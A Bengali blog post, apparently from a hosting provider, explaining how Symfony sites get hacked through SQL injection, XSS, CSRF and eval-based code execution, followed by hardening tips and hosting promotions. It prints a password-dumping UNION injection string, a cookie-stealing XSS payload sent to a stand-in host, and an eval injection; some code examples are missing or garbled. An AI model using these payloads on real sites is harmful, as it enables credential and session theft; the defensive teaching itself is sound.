Symfony Website hacked- এর লক্ষণ, কারণ ও সমাধান


Symfony একটি জনপ্রিয় PHP framework যা ব্যবহারকারীদের জন্য PHP website এবং ওয়েব এপ্লিকেশন তৈরি করা সহজ করে তোলে। অতীতে, Symfony framework-এর ত্রুটির কারণে Drupal attack হওয়ার ঘটনা ঘটেছে যা এই Symfony website hacked কাঠামোর একটি ত্রুটি ছিল।

Symfony website hacked: লক্ষণ

  • Database-এর মধ্যে সন্দেহজনক টেবিল, অজানা ব্যবহারকারী এবং সিস্টেম-এ অজানা ফাইল-গুলি এর লক্ষণ হতে পারে Symfony SQL Injection.
  • Pop-up এবং বিজ্ঞাপনগুলি Phishing domain-এ রিডাইরেক্ট করা Symfony Remote Code Execution-এর ফল হতে পারে।
  • ব্যবহারকারীরা আপনার সাইট-এ তাদের বৈধতা ছাড়াই একাউন্ট মুছে ফেলা বা ডাটা ম্যানুপুলেশন সম্পর্কে অভিযোগ করলে, এটি Symfony cross-site request জালিয়াতির কারণে হতে পারে।
  • Symfony preserved cross-site scripting-এর কারণে আপনার সাইট-এ বিভ্রান্তিকর বিষয়বস্তু প্রদর্শিত হয়।
  •  
পিএইচপি নিরাপত্তা সমস্যা এবং প্রতিরোধ পদক্ষেপ

Symfony Website Hack হওয়ার কারণ

Symfony Website Hacked: SQL Injection

Symfony SQL Injection হল এক ধরনের আক্রমণ যা মূলত আপনার সাইটের ডাটাবেসকে লক্ষ্য করে। ব্যবহারকারীর ইনপুট স্যানিটাইজেশন-এর অভাব সাইটটিকে অরক্ষিত করে তোলে যার ফলে Symphony Website Hack হয়ে যায়। উদাহরণস্বরূপ, নীচের কোড-টি দেখুন:

$query  = "SELECT id, name, inserted, size FROM products WHERE size = '$size'";

$result = odbc_exec($conn, $query);

এটি একটি SQL query চালানোর জন্য একটি সাধারণ PHP code-এর মতো দেখায় তবে আক্রমণকারী এটি ব্যবহার করে ডাটাবেজ থেকে সমস্ত পাসওয়ার্ড প্রকাশ করতে ব্যবহার করতে পারে। নির্বাচন করুন SQL command; $size ভেরিয়েবলে প্রদত্ত ইনপুট এমন কিছু দেখাবে-

'union select '1', concat(uname||'-'||passwd) as name, '1971-01-01', '0' from user;--

কার্যকর করার পরে এই বিবৃতিটি ব্যবহারকারী নামের টেবিল থেকে সমস্ত পাসওয়রার্ড তালিকাভুক্ত করতে পারে। ‘-‘ এই বিবৃতির শেষে কোনো ত্রুটি এড়াতে এই লাইনের বাকি কোড-টিকে কমেন্ট-এ পরিণত করবে। এটি একটি ছোট উদাহরণ, আক্রমণকারীরা এটিকে বিভিন্ন উপায়ে ব্যবহার করতে পারে আপনার ডাটাবেস-কে manipulate করতে, এডিটিং করতে এবং এমনকি মুছে ফেলতে। কিছু Symfony Website hack করার ক্ষেত্রে, SQL একটি বিপরীত Shell পেতেও ব্যবহার করা যেতে পারে।

Symfony Website Hacked: Cross-Site Scripting

XSS হল একটি ব্যাপকভাবে পাওয়া দুর্বলতা যা সঠিক ব্যবহারকারীর Input sanitization-এর অভাবের কারণে ঘটে। এই দুর্বলতা সাধারণত Search box, message board ইত্যাদিতে পাওয়া যায়। XSS এর কারণে হ্যাক হওয়া একটি Symfony website, আক্রমণকারী কুকিজ চুরি করতে ব্যবহার করতে পারে এবং এইভাবে সেশন-টি দখল করতে পারে। উদাহরণস্বরূপ, নিম্নলিখিত code-এর সাথে একটি সার্চ query তৈরি করে আক্রমণকারী যে কেউকে এটিতে ক্লিক করে তার কুকিগুলি চুরি করার অনুমতি দিতে পারে৷

"><SCRIPT>var+img=new+Image();img.src="https://hacker/"%20+%20document.cookie;</SCRIPT>

এখানে ‘>’ অক্ষর পূর্ববর্তী ট্যাগ বন্ধ করবে। এর পরে, ছবি() Constructor variable-এ একটি নতুন চিত্র তৈরি করবে ‘img’। পরবর্তী লাইনটি ছবির উৎস নির্ধারণ করবে এবং একই লাইনে Session takeover-এর জন্য কুকি পেতে document.cookie পদ্ধতি ব্যবহার করা হবে।

যদি XSS সংরক্ষিত বা অবিরাম থাকে তবে এটি আরও বেশি বিপজ্জনক। কারণ এই script-টি স্বয়ংক্রিয়ভাবে কুকি চুরি করবে যখন কেউ সংক্রামিত পেইজ-টি খুলবে। যেখানে, প্রতিফলিত XSS সামাজিক প্রকৌশল আক্রমণের উপর নির্ভর করে। শুধু cookie চুরিই নয়, Symphony Website Hack হওয়ার কারণে XSS-এও সব ধরনের Phishing আক্রমণের জন্য ব্যবহার করা যেতে পারে!

Symfony website hacked: cross-site request জালিয়াতি

CSRF আক্রমণকারীরা আপনার শিকারদের একাউন্ট মুছে ফেলা, ব্যবহারকারীর Manipulate data করা ইত্যাদির মতো অবাঞ্ছিত কাজগুলি করতে ব্যবহার করতে পারে৷ উদাহরণস্বরূপ, যখন কোনও ব্যবহারকারী আপনার সাইটে লগইন করেন, তখন নীচে দেওয়া ছবিটির মতো একটি বিশেষভাবে তৈরি করা পেইজটি দেখানোর ফলে মুছে ফেলা হতে পারে৷

Symfony Website Hacked -

এই page-টি ব্যবহারকারীর account মুছে ফেলার জন্য ‘delete’ value action ব্যবহার করবে। যদিও আক্রমণকারী বিভিন্ন আক্রমণ পরিচালনা করার জন্য CSRF ব্যবহার করতে পারে তবে তা সফলভাবে চালানো হয়েছে কিনা তা দেখার কোন ব্যবস্থা নেই।

Symfony Website Hacked: Remote Code Execution

দুর্বল কোডিং মানের কারণে Symfony ব্যবহার করে ওয়েবসাইটগুলিতে দূরবর্তী কোড execution ঘটে। উপরের সমস্ত আক্রমণের মধ্যে সবচেয়ে বড় নিরাপত্তা সমস্যা হল ব্যবহারকারীর ইনপুট-কে বিশ্বাস করা। উদাহরণস্বরূপ, দুর্বল ব্যবহার eval() PHP code-এ ফাংশনটি দেখতে এইরকম হবে-

এটি বেশ সহজ কোড বলে মনে হচ্ছে, যা argument-গুলি গ্রহণ করবে এবং PHP code হিসাবে string-টি চালানোর জন্য eval function ব্যবহার করবে। কিন্তু যেহেতু ইনপুট ফিল্টার করা হয় না তাই আক্রমণকারী কিছু মান সরবরাহ করতে পারে যেমন /index.php?arg=1; phpinfo() যা Code execution-এর দিকে পরিচালিত করবে phpinfo() function.

হ্যাক করা পিএইচপি ওয়েবসাইট পরিষ্কার করুন

Symfony website hacked: নিরাপদ উন্নয়ন অনুশীলন

  • আপনার Symfony Website-এ XSS আক্রমণ প্রতিরোধ করতে, function-টি ব্যবহার করুন।
  • এইরকম CSRF আক্রমণ এড়াতে Page-এ লুকানো একটি Random টোকেন প্রয়োগ করুন: <input type=”hidden” name=”csrf” value=””>
  • RCE প্রতিরোধ করতে php.ini file-এ এই PHP নির্দেশের মাধ্যমে সমস্ত বিপজ্জনক ফাংশন নিষ্ক্রিয় করুন: disable_functions = “show_source, system, shell_exec, passthru, exec, popen, proc_open, allow_url_fopen, eval”
  • সুতরাং মূল বিষয় হল আপনার Symfony website-এ ব্যবহারকারীর ইনপুটকে বিশ্বাস না করে বেশিরভাগ দুর্বলতা এড়ানো যায়।
  • যদি আপনি সন্দেহ করেন যে কোনও দুর্বলতা আপনার Website-এ লুকিয়ে থাকতে পারে তাহলে একটি সম্পূর্ণ নিরাপত্তা নিরীক্ষার জন্য যান।

Free Website Toolkit

Money Back Guarantee

If you’re unhappy for any reason, let us know why. Our friendly support guy is standing by. If you do decide we’re not the right host for you though, we’ll give you a hassle-free refund. We may have to stock up on tissues if you cancel though because we hate break-ups, but we promise, no hard feelings. Just cancel your account within your first 30-days for a full refund, or receive a prorated refund of unused service after 30-days. It’s that easy.

Free Domain Registration

In order to qualify for (1) one free domain name registration, you must sign up for a 12, 24 or 36 month Bitbyhost Shared, Web hosting and WordPress plan. Offer only applies to domains available only .com at the time of hosting signup, and on their initial purchase term. This offer is NOT available under any other hosting plans, nor can it be combined with any other offers. After the first year, your domain will renew at the regular rate.
If your hosting plan includes a free domain and you cancel your hosting within the first year, a non-refundable $12.08 USD domain fee (+ any applicable taxes) for the domain name will apply. Please note that newly registered domains cannot be transferred to another registrar during the first 60 days of the registration period.

Discount will be automatically applied to your cart at checkout.